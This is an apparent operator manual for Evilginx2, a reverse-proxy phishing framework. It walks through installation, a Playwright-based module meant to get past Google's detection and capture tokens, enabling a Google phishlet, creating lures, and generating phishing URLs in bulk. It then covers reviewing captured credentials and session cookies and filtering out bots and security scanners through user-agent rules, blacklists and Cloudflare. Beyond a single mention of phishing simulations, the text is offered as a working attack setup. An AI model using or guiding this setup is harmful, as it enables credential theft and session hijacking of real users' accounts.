Installation Steps
Installing and configuring the environment for Evilginx
Installation Steps
Update Package Lists Begin by updating your system’s package lists to ensure you have the latest information on the newest versions of packages and their dependencies.
sudo apt-get update
Install xrandr
xrandr is a utility for managing screen resolutions and display settings.
-- Use this option if you want to run Playwright with Xserver (for example, in MobaXterm) so you can view the browser live. -- If use "Headless: playwright.Bool(true)," do no need this to install.
sudo apt-get install x11-xserver-utils
Install Google Chrome
-- Use Chrome only if you choose not to use the browsers included in the Playwright app. In the source you received, you don’t need these installations.
Download and install the latest stable version of Google Chrome.
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb
sudo apt-get install -f # Install any missing dependencies
Install Go Programming Language
-- You will need to install the Go language, as the source code is in Go, and to compile it in Linux, you need Go installed.
Go is essential for running Playwright-Go.
wget https://golang.org/dl/go1.20.7.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.20.7.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
Install Playwright-Go and Dependencies
-- You need to install the Playwright Go library, as the Evilginx version for Google uses a module called EvilPlaywright. This module controls a real browser behind the reverse proxy to obtain certain tokens that otherwise cannot be retrieved correctly due to the different host in the reverse proxy or due to Google detecting browser incompatibilities with video versions, fonts, etc.
Set up Playwright-Go, which is required for browser automation.
go get -u github.com/playwright-community/playwright-go
go run github.com/playwright-community/playwright-go/cmd/playwright@latest install --with-deps
go install github.com/playwright-community/playwright-go/cmd/playwright@latest
playwright install --with-dep
Starting Evilginx
To launch Evilginx2, execute the following command:
sudo /root/evilginx2/build/evilginx -p /root/evilginx2/phishlets -developer
[COLOR=rgb(250, 197, 28)]sudo [/COLOR] Runs the command with superuser (root) privileges, which are often necessary for network-related applications or services. /root/evilginx2/build/evilginx This is the path to the compiled Evilginx2 binary. Evilginx2 is a tool often used in phishing simulations or security testing to capture authentication tokens in real-time by acting as a reverse proxy. -p /root/evilginx2/phishlets Specifies the path where the phishlets are located. Phishlets are configuration files that define the behavior of Evilginx2 for specific websites or services (e.g., Google, Facebook). These phishlets contain rules for forwarding requests and capturing tokens and cookies. -developer: This allows for developer mode It does not use SSL from Evilginx with auto ssl using Let's Encrypt; instead, it will use the SSL settings provided by Cloudflare.
Adding a New Domain and Creating Lures Configure Your Domain:
config domain your-domain.com
Set Your Server's IPv4 Address:
config ipv4 103.114.163.58
Create and Enable a Phishlet:
phishlets hostname google your-domain.com
phishlets enable google
Create a New Lure:
lures create google
Retrieve the Lure URL:
lures get-url # Retrieves the current lure's URL
Advanced Configuration Note: all these commands are within the application, meaning they should be entered after the application has started and in the same window. Do not try the commands if you are not inside Evilginx.
Configuration Commands Manage and customize your Evilginx2 settings using the config command.
Display All Configuration Variables: config
Set Base Domain: config domain Example: config domain evilsite.com
Set External IPv4 Address: config ipv4 <ipv4_address> Example: zconfig ipv4 103.114.163.58
Set Binding IPv4 Address: config ipv4 bind <ipv4_address>
Change Unauthorized Redirect URL: config unauth_url
Phishlets Management Phishlets are templates used to create phishing scenarios. Manage them with the phishlets command.
Status of All Phishlets: phishlets
View Details of a Specific Phishlet: phishlets
Create a New Phishlet: phishlets create <child_name> <key1=value1> <key2=value2>
Delete a Phishlet: phishlets delete
Set Hostname for a Phishlet: phishlets hostname Example: phishlets hostname google evilsite.com
Override Unauthorized URL for a Phishlet: phishlets unauth_url
Enable a Phishlet: phishlets enable
Disable a Phishlet: phishlets disable
Hide a Phishlet: phishlets hide
Unhide a Phishlet: phishlets unhide
Generate Hosts File Entries for Testing: phishlets get-hosts
Lures Management Lures are specific phishing links created from phishlets. Manage them using the lures command.
All Created Lures: lures
View Details of a Specific Lure: lures
Create a New Lure: lures create
Delete a Specific Lure: lures delete
Delete All Lures: lures delete all
Generate a Phishing URL for a Lure: lures get-url <key1=value1> <key2=value2>
Generate Multiple Phishing URLs with Parameters: lures get-url import <params_file> export <urls_file> <text|csv|json>
Edit Lure Hostname: lures edit hostname
Edit Lure Path: lures edit path
Set HTML Redirector Directory for a Lure: lures edit redirector
Set User-Agent Filter for a Lure: lures edit ua_filter
Set Redirect URL After Successful Authorization: lures edit redirect_url <redirect_url>
Sessions Management Manage captured credentials and authentication tokens using the sessions command. -- In other words, here you can see the logs you’ve captured, as well as the traffic. The empty entries are just accesses.
History of All Logged Visits and Captured Credentials: sessions
View Details of a Specific Session: sessions
Delete a Specific Session: sessions delete
Delete Multiple Sessions: sessions delete <id_range> Example: sessions delete 1-7,10-12,15-25
Delete All Sessions: sessions delete all
Proxy Configuration Configure a proxy to route connections to remote websites using the proxy command.
All Proxy Configuration Variables: proxy
Enable Proxy: proxy enable
Disable Proxy: proxy disable
Set Proxy Type (Options: http, https, socks5, socks5h): proxy type Example: proxy type socks5
Set Proxy Address: proxy address
Set Proxy Port: proxy port
Set Proxy Username (for Authentication): proxy username
Set Proxy Password (for Authentication): proxy password
Blacklist Configuration Manage IP address blacklisting based on request types using the blacklist command.
Current Blacklisting Mode: blacklist
Blacklist All IP Addresses for Every Request: blacklist all
Blacklist IP Addresses Only for Unauthorized Requests: blacklist unauth
Blacklist IP Addresses Without Adding to the Blacklist: blacklist noadd
Disable Blacklisting (Allow All Requests): blacklist off
Enable or Disable Logging for Blacklist Messages: blacklist log <on|off> Example: blacklist log on
Set up a Cloudflare account to filter bots and sort traffic by country.
Last updated
Was this helpful?